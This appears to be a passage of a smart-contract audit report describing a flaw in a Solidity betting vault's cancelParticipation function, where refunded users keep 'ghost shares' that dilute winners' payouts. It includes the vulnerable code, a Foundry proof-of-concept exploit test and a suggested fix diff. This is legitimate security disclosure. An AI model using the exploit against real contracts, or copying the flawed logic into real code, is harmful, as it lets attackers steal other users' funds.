```solidity
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
```
Attacker refund: 985 tokens (full refund received)
Attacker ghost shares: 985 (NOT cleared!)
Total winner shares: 1970 (includes ghost)
Vault assets: 985 (only legitimate deposit)
Winner payout: 492.5 (HALF of what they deserve)
Stolen amount: 492.5 tokens per cancelled attacker
Full test output shows:
- Attacker successfully gets refund
- Ghost shares remain in `userSharesToCountry`
- `totalWinnerShares` inflated by ghost shares
- Winner receives diluted payout
<details>
<summary>Proof Of Code</summary>
```solidity
function test_CancelledUserCanStillWinExploit() public {
vm.prank(owner);
briVault.setCountry(countries);
uint256 eventStart = briVault.eventStartDate();
uint256 eventEnd = briVault.eventEndDate();
console.log("Event start:", eventStart);
console.log("Event end:", eventEnd);
vm.warp(1 days);
uint256 depositAmount = 1000e18;
vm.startPrank(attacker);
mockToken.mint(attacker, depositAmount);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, attacker);
briVault.joinEvent(10);
vm.stopPrank();
console.log("Attacker country shares:", briVault.userSharesToCountry(attacker, 10));
console.log("Attacker vault shares:", briVault.balanceOf(attacker));
vm.startPrank(user1);
mockToken.mint(user1, depositAmount);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, user1);
briVault.joinEvent(10);
vm.stopPrank();
console.log("User1 country shares:", briVault.userSharesToCountry(user1, 10));
vm.prank(attacker);
briVault.cancelParticipation();
console.log("Attacker refund balance:", mockToken.balanceOf(attacker));
console.log("Attacker vault shares:", briVault.balanceOf(attacker));
console.log("Attacker country shares (SHOULD BE 0):", briVault.userSharesToCountry(attacker, 10));
vm.warp(eventEnd + 1 days);
vm.prank(owner);
briVault.setWinner(10);
console.log("Total winner shares:", briVault.totalWinnerShares());
console.log("Finalized vault assets:", briVault.finalizedVaultAsset());
uint256 user1BalanceBefore = mockToken.balanceOf(user1);
vm.prank(user1);
briVault.withdraw();
uint256 user1BalanceAfter = mockToken.balanceOf(user1);
console.log("User1 balance before:", user1BalanceBefore);
console.log("User1 balance after:", user1BalanceAfter);
console.log("User1 received:", user1BalanceAfter - user1BalanceBefore);
uint256 attackerGhostShares = briVault.userSharesToCountry(attacker, 10);
assertGt(mockToken.balanceOf(attacker), 0, "Attacker got refund");
assertGt(attackerGhostShares, 0, "Attacker still has ghost shares");
}
```
</details>
- remove this code
+ add this code
Clear ALL user state on cancellation:
```diff
// Add to contract:
+ event ParticipationCancelled(address indexed user, uint256 refundAmount);
function cancelParticipation() public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
+ uint256 refundAmount = stakedAsset[msg.sender];
+ require(refundAmount > 0, "Nothing to cancel");
stakedAsset[msg.sender] = 0;
+ for (uint256 i = 0; i < teams.length; i++) {
+ if (userSharesToCountry[msg.sender][i] > 0) {
+ totalParticipantShares -= userSharesToCountry[msg.sender][i];
+ userSharesToCountry[msg.sender][i] = 0;
+ }
+ }
+ delete userToCountry[msg.sender];
+ if (numberOfParticipants > 0) {
+ numberOfParticipants--;
+ }
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+ emit ParticipationCancelled(msg.sender, refundAmount);
}
```